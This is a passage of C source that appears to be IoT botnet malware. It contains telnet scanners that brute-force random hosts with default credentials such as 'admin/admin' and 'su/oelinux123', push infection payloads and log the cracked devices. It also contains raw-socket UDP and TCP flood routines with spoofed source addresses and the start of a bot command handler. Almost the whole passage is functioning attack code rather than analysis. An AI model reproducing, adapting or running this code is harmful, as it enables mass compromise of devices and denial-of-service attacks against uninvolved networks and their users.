if(randnum == 8)
{
szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 9)
{
szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 10)
{
szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 11)
{
szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 12)
{
szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 13)
{
szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 14)
{
szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 15)
{
szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 16)
{
szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 17)
{
szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 18)
{
szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 19)
{
szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 20)
{
szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 21)
{
szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 22)
{
szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 23)
{
szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 24)
{
szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 25)
{
szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 26)
{
szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 27)
{
szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 28)
{
szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 29)
{
szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 30)
{
szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 31)
{
szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 32)
{
szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 33)
{
szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 34)
{
szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 35)
{
szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 36)
{
szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 37)
{
szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 38)
{
szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 39)
{
szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 40)
{
szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 41)
{
szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 42)
{
szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 43)
{
szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 44)
{
szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 45)
{
szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 46)
{
szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 47)
{
szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 48)
{
szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 49)
{
szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 50)
{
szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 51)
{
szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 52)
{
szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 53)
{
szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 54)
{
szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 55)
{
szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 56)
{
szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 57)
{
szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 58)
{
szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 59)
{
szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 60)
{
szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 61)
{
szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 62)
{
szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 63)
{
szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 64)
{
szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 65)
{
szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 66)
{
szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 67)
{
szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 68)
{
szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 69)
{
szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 70)
{
szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 71)
{
szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 72)
{
szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 73)
{
szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 74)
{
szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 75)
{
szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 76)
{
szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 77)
{
szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 78)
{
szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 79)
{
szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 80)
{
szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 81)
{
szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 82)
{
szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 83)
{
szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 84)
{
szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 85)
{
szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 86)
{
szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 87)
{
szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 88)
{
szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 89)
{
szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 90)
{
szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 91)
{
szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 92)
{
szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 93)
{
szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 94)
{
szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 95)
{
szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 96)
{
szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 97)
{
szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 98)
{
szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 99)
{
szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 100)
{
szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 101)
{
szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 102)
{
szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 103)
{
szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 104)
{
szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 105)
{
szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 106)
{
szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 107)
{
szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 108)
{
szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 109)
{
szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 110)
{
szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 111)
{
szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 112)
{
szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 113)
{
szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 114)
{
szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 115)
{
szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 116)
{
szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 117)
{
szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
}
return inet_addr(ip);
}


int rangechoice = 1;
in_addr_t findARandomIP()
{
if(rangechoice < 1 || rangechoice > 2){
return HackerScan1();
}else{
if(rangechoice == 1){
return HackerScan1();
}else if(rangechoice == 2){
return get_random_ip();
}else{
return HackerScan1();
}
}
}

in_addr_t HackerScan(in_addr_t netmask)
{
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ ( rand_cmwc() & ~netmask);
}
unsigned short csum (unsigned short *buf, int count)
{
register uint64_t sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (uint16_t)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
int sclose(int fd)
{
if(3 > fd) return 1;
close(fd);
return 0;
}
struct telstate_t
{
int fd;
unsigned int ip;
unsigned char state;
unsigned char complete;
unsigned char usernameInd;
unsigned char passwordInd;
unsigned char tempDirInd;
unsigned int totalTimeout;
unsigned short bufUsed;
char *sockbuf;
};
const char* get_telstate_host(struct telstate_t* telstate)
{
struct in_addr in_addr_ip;
in_addr_ip.s_addr = telstate->ip;
return inet_ntoa(in_addr_ip);
}
int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char **strings)
{
int num_bytes, i;
memset(buffer, 0, buf_size);
num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
if(buffer[0] == 0xFF)
{
negotiate(fd, buffer, 3);
}
if(contains_string(buffer, strings))
{
return 1;
}
return 0;
}
int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
{
fd_set read_set;
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = timeout_usec;
FD_ZERO(&read_set);
FD_SET(fd, &read_set);
if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
return 0;
return recv(fd, buffer, buf_size, 0);
}
int contains_fail(char* buffer)
{
return contains_string(buffer, fails);
}
int contains_string(char* buffer, char** strings)
{
int num_strings = 0, i = 0;
for(num_strings = 0; strings[++num_strings] != 0; );
for(i = 0; i < num_strings; i++)
{
if(strcasestr(buffer, strings[i]))
{
return 1;
}
}
return 0;
}
void PhoneScanner() {
int maxfds = 512, i, res, j, valopt;
int max = maxfds;
char buf[128], cur_dir;
fd_set fdset;
struct timeval tv;
socklen_t lon;
srand(time(NULL) ^ rand_cmwc());
char line[256];
char* buffer;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
buffer = malloc(512 + 1);
memset(buffer, 0, 512 + 1);
struct telstate_t fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) {
memset(&(fds[i]), 0, sizeof(struct telstate_t));
fds[i].complete = 1;
fds[i].sockbuf = buffer; }
while(1) {
for(i = 0; i < max; i++) {
if(fds[i].totalTimeout == 0) {
fds[i].totalTimeout = time(NULL); }
switch(fds[i].state) {
case 0: {
if(fds[i].complete == 1) {
char *tmp = fds[i].sockbuf;
memset(&(fds[i]), 0, sizeof(struct telstate_t));
fds[i].sockbuf = tmp;
fds[i].ip = PhoneScan(); }
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
if(fds[i].fd == -1) continue;
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
sclose(fds[i].fd);
fds[i].complete = 1; }
else {
fds[i].state = 1;
fds[i].totalTimeout = 0;
}
}
break;
case 1: {
FD_ZERO(&fdset);
FD_SET(fds[i].fd, &fdset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
if(res == 1) {
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 512);
fds[i].state = 2;
} continue; }
else if(res == -1) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2: {
if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
if(contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
fds[i].state = 3; }
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3: {
if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 4;
}
break;
case 4: {
if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
if(contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
fds[i].state = 5; }
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5: {
if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 6; }
break;
case 6: {
if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances2)) {
fds[i].totalTimeout = time(NULL);
if (contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
HackerPrint(D1ckSucka, "\x1b[31mPhone Cracked \x1b[32m-> \x1b[37m%s | \x1b[31mUsername \x1b[32m-> \x1b[37madmin | \x1b[31mPassword \x1b[32m-> \x1b[37madmin\x1b[0m", get_telstate_host(&fds[i]));
fds[i].state = 7;
} continue; }
if (fds[i].totalTimeout + 7 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7: {
if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 8;
}
break;
case 8: {
if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
if(contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
fds[i].state = 9; }
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 9: {
if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 10;
}
break;
case 10: {
fds[i].totalTimeout = time(NULL);
if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].complete = 3;
if(fds[i].totalTimeout + 60 < time(NULL)) {
if(fds[i].complete !=3){
}
fds[i].state = 0;
fds[i].complete = 1;
}
break;
}
}
}
}
}
void HackaShit(){
char buf[128];
     int max = 256, i, res, valopt;
    fd_set fdset;
    struct timeval tv;
    socklen_t lon;
    srand(time(NULL) ^ rand_cmwc());
    struct sockaddr_in dest_addr;
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(23);
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
    struct telstate_t fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) {
memset(&(fds[i]), 0, sizeof(struct telstate_t));
fds[i].complete = 1;
fds[i].sockbuf = malloc(256 + 1); }
while(1) {
for(i = 0; i < max; i++) {
if(fds[i].totalTimeout == 0) {
fds[i].totalTimeout = time(NULL); }
switch(fds[i].state) {
case 0: {
if(fds[i].complete) {
char *tmp = fds[i].sockbuf;
memset(&(fds[i]), 0, sizeof(struct telstate_t));
fds[i].sockbuf = tmp;
fds[i].ip = findARandomIP(); }
else  {
fds[i].passwordInd++;
fds[i].usernameInd++;
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
fds[i].complete = 1;
continue; }
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
fds[i].complete = 1;
continue;
}
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
if(fds[i].fd == -1) continue;
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
sclose(fds[i].fd);
fds[i].complete = 1; }
else {
fds[i].state = 1;
fds[i].totalTimeout = 0;
}
}
break;
case 1: {
FD_ZERO(&fdset);
FD_SET(fds[i].fd, &fdset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
if(res == 1) {
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 256);
fds[i].state = 2;
} continue; }
else if(res == -1) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2: {
if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
if(contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
fds[i].state = 3; }
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3: {
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 4; }
break;
case 4: {
if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
{
if(contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
fds[i].state = 5; }
continue; }
if(fds[i].totalTimeout + 6 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5: {
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 6;
}
break;
case 6: {
if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
fds[i].totalTimeout = time(NULL);
if (contains_fail(fds[i].sockbuf)) {
fds[i].state = 0;
} else {
HackerPrint(D1ckSucka, "\x1b[36mDevice Cracked \x1b[32m-> \x1b[37m%s | \x1b[36mUsername \x1b[32m-> \x1b[37m%s | \x1b[36mPassword \x1b[32m-> \x1b[37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
fds[i].state = 7;
} continue; }
if (fds[i].totalTimeout + 7 < time(NULL)) {
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7: {
if(send(fds[i].fd, TelnetPayload, strlen(TelnetPayload), MSG_NOSIGNAL) < 0) {
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].state = 8;
}
break;
case 8: {
fds[i].totalTimeout = time(NULL);
if(send(fds[i].fd, TelnetPayload2, strlen(TelnetPayload2), MSG_NOSIGNAL) < 0) {
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
continue; }
fds[i].complete = 3;
if(fds[i].totalTimeout + 60 < time(NULL)) {
if(fds[i].complete !=3){
}
fds[i].state = 0;
fds[i].complete = 1;
}
break;
}
}
}
}
}
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval) {
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
register unsigned int pollRegister;
pollRegister = pollinterval;
if(spoofit == 32) {
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(!sockfd) {
return; }
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
if(buf == NULL) return;
memset(buf, 0, packetsize + 1);
makeRandomStr(buf, packetsize);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1) {
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if(i == pollRegister) {
if(port == 0) dest_addr.sin_port = rand_cmwc();
if(time(NULL) > end) break;
i = 0;
continue; }
i++; }
} else {
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(!sockfd)
{
return; }
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
{ return; }
int counter = 50;
while(counter--) {
srand(time(NULL) ^ rand_cmwc());
init_rand(rand()); }
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
udph->len = htons(sizeof(struct udphdr) + packetsize);
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
udph->check = 0;
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1) {
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
iph->id = rand_cmwc();
iph->saddr = htonl( HackerScan(netmask) );
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister) {
if(time(NULL) > end) break;
i = 0;
continue; }
i++;
}
}
}
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
register unsigned int pollRegister;
pollRegister = pollinterval;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(!sockfd) {
return; }
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
return; }
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
tcph->source = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->ack_seq = 0;
tcph->doff = 5;
if(!strcmp(flags, "all")) {
tcph->syn = 1;
tcph->rst = 1;
tcph->fin = 1;
tcph->ack = 1;
tcph->psh = 1;
tcph->urg_ptr = 1;
} else {
unsigned char *pch = strtok(flags, ",");
while(pch) {
if(!strcmp(pch, "syn")) { tcph->syn = 1;
} else if(!strcmp(pch, "rst")) { tcph->rst = 1;
} else if(!strcmp(pch, "fin")) { tcph->fin = 1;
} else if(!strcmp(pch, "ack")) { tcph->ack = 1;
} else if(!strcmp(pch, "psh")) { tcph->psh = 1;
} else if(!strcmp(pch, "urg")) { tcph->urg_ptr = 1;//spooky shit man
} else {
}
pch = strtok(NULL, ",");
}
}
tcph->window = rand_cmwc();
tcph->check = 0;
tcph->urg_ptr = 0;
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1) {
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
iph->saddr = htonl( HackerScan(netmask) );
iph->id = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->source = rand_cmwc();
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister) {
if(time(NULL) > end) break;
i = 0;
continue; }
i++;
}
}
void processCmd(int argc, unsigned char *argv[])
{
int x;
if(!strcmp(argv[0], "PING")) {
HackerPrint(D1ckSucka, "PONG!");
return;
}
